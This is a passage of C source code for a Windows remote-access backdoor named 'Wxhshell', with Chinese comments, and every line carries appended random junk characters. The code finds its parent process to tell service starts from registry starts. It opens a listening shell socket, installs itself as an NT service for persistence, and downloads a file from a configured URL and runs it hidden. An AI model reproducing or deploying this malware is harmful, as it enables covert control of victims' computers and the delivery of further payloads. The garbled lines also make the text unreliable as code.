ULONG InheritedFromUniqueProcessId; 0,89H4
} PROCESS_BASIC_INFORMATION; V#S9H!hm$
\(^nSy&N
PROCNTQSIP NtQueryInformationProcess; 5a|w+HO,
z;|A(*Y
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `</ff+Q6
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; SfaQvstN
$4 S@
HANDLE hProcess; [nrYpb4
PROCESS_BASIC_INFORMATION pbi; G?;e-OhV
BlA_.]Sg$
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); xgKdMW'%g:
if(NULL == hInst ) return 0; 'z%o16F)L
<YhB8W9 P
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YW( Qmo7
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pH"#8O&
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \b?" b
vnM@QfN
if (!NtQueryInformationProcess) return 0; ,>0* @2
eQp4|rf
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KmA;HiH%J
if(!hProcess) return 0; $+Z)
"2)H'<
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,P70Jb
jw^<IMAG\8
CloseHandle(hProcess); hp 5|@
'+?"iVVo
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZK@N5/H(
if(hProcess==NULL) return 0; j/f?"VEr
[d1mLJAR
HMODULE hMod; &h^9}>rVjV
char procName[255]; 4'a=pnE$
unsigned long cbNeeded; p8h9Ng*&`
;;C?{
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3TY5 ;6
l0PZ`m+;j
CloseHandle(hProcess); ;h*K }U
JNt^ (z
if(strstr(procName,"services")) return 1; // 以服务启动 r0+6evU2
6/r)y+H
return 0; // 注册表启动 +#lM
} ^h~x)@=
`lO[x.[
// 主模块 4{rZppm
int StartWxhshell(LPSTR lpCmdLine) S||}nJ0
{ ;>?rP88t
SOCKET wsl; j}JrE,|
BOOL val=TRUE; *KV0%)}sbL
int port=0; s/q7.y7n{
struct sockaddr_in door; p~BRh
,!Z*5
if(wscfg.ws_autoins) Install(); JGsx_V1t
:UF%K>k2
port=atoi(lpCmdLine); lyy W
QgU8s'e
if(port<=0) port=wscfg.ws_port; bzuEfFaL
Sjyoc<Uo
WSADATA data; 17oa69G
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CF&6J$ZBgJ
z$/_I0[
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ;*:]*|bw
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); naYrpK,.
door.sin_family = AF_INET; [z`31F
door.sin_addr.s_addr = inet_addr("127.0.0.1"); MGR!Z@1y
door.sin_port = htons(port); .!$*:4ok
s;S?;(QI
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XWS%zLaK
closesocket(wsl); uW@oyZUj
return 1; zQ@I}K
t
} m'6&9Jak
#\.,? A}9
if(listen(wsl,2) == INVALID_SOCKET) { ]B%v+uaW
closesocket(wsl); aJ-K? xQ
return 1; EN;}$jZ>47
} s:#V(<J
Wxhshell(wsl); sk,ox~0R
WSACleanup(); Gb#Cm]
aT)BR?OYSJ
return 0; "$ Y_UJT7
jkiFLtB@V
} bx{$Y_L+p
![YX]+jqNp
// 以NT服务方式启动 @eD):Y
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tD(7^GuR
{ +cgSC5nR
DWORD status = 0; RrX[|GLSJ
DWORD specificError = 0xfffffff; 2ORNi,_I
<lw`
3aa(
serviceStatus.dwServiceType = SERVICE_WIN32; 7\$qFF-y
serviceStatus.dwCurrentState = SERVICE_START_PENDING; EQb7-vhg
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3DiLk=\~
serviceStatus.dwWin32ExitCode = 0; \W1,F6&j
serviceStatus.dwServiceSpecificExitCode = 0; R7$:@<:g
serviceStatus.dwCheckPoint = 0; 9[b<5Llt
serviceStatus.dwWaitHint = 0; Q[vJqkgT
wRcAX%n&
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CFzNwgv]z
if (hServiceStatusHandle==0) return; Rzbj
WQ[_hg|k
status = GetLastError(); "?ucO4d
if (status!=NO_ERROR) !;i`PPRwk
{ Ox&P}P0f
serviceStatus.dwCurrentState = SERVICE_STOPPED; 8+a4>8[M
serviceStatus.dwCheckPoint = 0; Ghx3EVqnx"
serviceStatus.dwWaitHint = 0; E^ P,*s
serviceStatus.dwWin32ExitCode = status; q|o}+Vr
serviceStatus.dwServiceSpecificExitCode = specificError; DoJ\ q+
SetServiceStatus(hServiceStatusHandle, &serviceStatus); =vQcYa
return; HJXT9;w
} !UG
7Uer
4
N H
serviceStatus.dwCurrentState = SERVICE_RUNNING; # {w9s0:
serviceStatus.dwCheckPoint = 0;
ZHU5SXu
serviceStatus.dwWaitHint = 0; [ oL.+
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h U`wVy
} Gn|F`F
M m[4yP%
// 处理NT服务事件,比如:启动、停止 s} UjGFP
VOID WINAPI NTServiceHandler(DWORD fdwControl) UDL!43K
{ +Z7th7W/,
switch(fdwControl) zEd0Tmt
{ r=5{o1"
case SERVICE_CONTROL_STOP: >XY`*J^
serviceStatus.dwWin32ExitCode = 0; 5R'TcWf#W
serviceStatus.dwCurrentState = SERVICE_STOPPED; UR7g`/
serviceStatus.dwCheckPoint = 0; BSYzC9h`
serviceStatus.dwWaitHint = 0; 9N9L}k b
{ S{PJUAu
SetServiceStatus(hServiceStatusHandle, &serviceStatus); {["\.ZS|
} ?EJD?,}
return; ??PC
k1X
case SERVICE_CONTROL_PAUSE: dx;Ysn0-
serviceStatus.dwCurrentState = SERVICE_PAUSED; o.w\l\
break; _hRcc"MS`
case SERVICE_CONTROL_CONTINUE: f!oT65Vmi
serviceStatus.dwCurrentState = SERVICE_RUNNING; %+8F'&X
break; P_?gq>E8
case SERVICE_CONTROL_INTERROGATE: ,TXTS*V?
break; W3IpHV
}; C ~<'rO}|
SetServiceStatus(hServiceStatusHandle, &serviceStatus); c(:f\Wc3Z
}
U*(izD
56+s~hG
// 标准应用程序主函数 lsNrAA%m
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) oFy=-p+C
{ `tHvD=`m.
i`QKH
// 获取操作系统版本 |zQ4u
OsIsNt=GetOsVer(); P;P%n
GetModuleFileName(NULL,ExeFile,MAX_PATH); g .onTFwN
lJu;O/
// 从命令行安装 J?Ra bYd ~
if(strpbrk(lpCmdLine,"iI")) Install(); KNS.Nw7
jX3,c%aQ5e
// 下载执行文件 *of3:w
if(wscfg.ws_downexe) { JRSSn] pw
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x^kp^
/f
WinExec(wscfg.ws_filenam,SW_HIDE); &